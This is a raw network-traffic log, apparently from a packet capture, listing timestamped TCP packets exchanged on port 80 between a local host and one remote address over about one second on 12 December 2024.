Dec 12, 2024 21:50:51.703514099 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.703557014 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.703609943 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.704648972 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.704690933 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.704772949 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.704809904 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.705836058 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.705869913 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.705925941 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.705960035 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.706944942 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.706983089 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.707056999 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.707093000 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.708158970 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.708195925 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.708307981 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.708343029 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.709350109 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.709393024 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.709531069 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.709569931 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.710429907 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.710484982 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.710516930 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.710580111 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.711643934 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.711729050 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.711808920 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.711886883 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.712652922 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.712719917 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.712795973 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.712843895 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.713845015 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.713929892 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.713938951 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.714029074 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.714973927 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.715059996 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.715095043 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.715152025 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.716137886 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.716197968 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.716240883 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.716275930 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.717351913 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.717406034 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.717430115 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.717497110 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.718466043 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.718507051 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.718595028 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.718632936 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.719573021 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.719618082 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.719705105 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.719744921 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.720747948 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.720789909 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.720870018 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.720911026 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.721987009 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.722023010 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.722059011 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.722316980 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.723037004 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.723076105 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.723093987 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.723129988 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.724158049 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.724196911 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.724303007 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.724342108 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.725375891 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.725415945 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.725553989 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.725588083 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.726720095 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.726763010 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.726810932 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.726844072 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.727804899 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.727855921 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.727899075 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.727932930 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.728800058 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.728840113 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.728912115 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.728948116 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.729917049 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.729957104 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.730087996 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.730128050 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.731081009 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.731143951 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.731184959 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.731230021 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.732224941 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.732265949 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.732335091 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.732378960 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.733390093 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.733431101 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.733499050 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.733537912 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.734477043 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.734523058 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.866436958 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.866483927 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.866496086 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.866519928 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.866906881 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.866947889 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.867042065 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.867079973 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.868045092 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.868088961 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.868453979 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.868499041 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.868542910 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.868581057 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.869673014 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.869714975 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.869746923 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.869786024 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.870794058 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.870837927 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.870903015 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.870944023 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.871911049 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.871962070 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.872009993 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.872056007 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.873132944 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.873171091 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.873207092 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.873243093 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.874279976 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.874345064 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.874505043 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.874545097 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.875514984 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.875557899 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.875674963 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.875716925 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.876643896 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.876688004 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.876723051 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.876766920 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.877819061 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.877861977 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.877924919 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.877965927 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.878885984 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.878928900 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.878962994 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.879007101 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.879991055 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.880043983 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.880073071 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.880110025 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.881115913 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.881160975 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.881195068 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.881244898 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.882306099 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.882354975 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.882383108 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.882426977 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.883399963 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.883460999 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.883558035 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.883599997 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.884593010 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.884664059 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.884813070 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.884860992 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.885796070 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.885834932 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.885855913 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.885890007 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.886872053 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.886921883 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.886997938 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.887038946 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.888058901 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.888104916 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.888187885 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.888227940 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.889214039 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.889271975 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.889321089 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.889360905 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.890342951 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.890403986 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.890434027 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.890485048 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.891542912 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.891590118 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.891622066 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.891663074 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.892604113 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.892646074 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.892776012 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.892810106 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.893754959 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.893800974 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.893887997 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.893934011 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.894897938 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.894943953 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.894982100 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.895024061 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.896131039 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.896173000 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.896205902 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.896246910 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.897218943 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.897264957 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.897301912 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.897342920 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.898422003 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.898471117 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.898497105 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.898541927 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.899544001 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.899600983 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.899629116 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.899667978 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.900696993 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.900753975 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.900782108 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.900818110 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.901798964 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.901842117 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.901936054 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.901989937 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.902972937 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.903018951 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.903331995 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.903383017 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.904171944 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.904217005 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.904290915 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.904330969 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.905268908 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.905318975 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.905363083 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.905397892 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.906418085 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.906462908 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.906517982 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.906567097 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.907660007 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.907705069 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.907738924 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.907778978 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.908715010 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.908757925 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.908802986 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.908845901 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.909924984 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.909972906 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.910001040 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.910042048 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.911024094 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.911066055 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.911153078 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.911194086 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.912151098 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.912195921 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.912285089 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.912327051 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.913357973 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.913403034 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.913496017 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.913536072 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.914443016 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.914486885 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.914586067 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.914628029 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.915747881 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.915790081 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.915817976 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.915855885 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.916925907 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.916968107 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.917074919 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.917115927 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.917996883 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.918039083 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.918103933 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.918143988 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.919130087 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.919183016 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.919264078 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.919305086 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.920212030 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.920262098 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.920337915 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.920378923 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.921411037 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.921452999 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.921493053 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.921540976 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.922534943 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.922583103 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.922619104 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.922658920 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.923795938 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.923849106 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.923861027 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.923907042 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.924901009 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.924946070 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.925018072 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.925057888 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.925987959 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.926037073 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.926096916 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.926142931 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.058988094 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.059057951 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.059139013 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.059178114 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.059654951 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.059700966 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.059771061 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.059828043 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.060487986 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.060523987 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.060558081 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.060601950 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.061604977 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.061646938 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.061683893 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.061727047 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.062730074 CET	80	49971	31.41.244.11	192.168.2.6
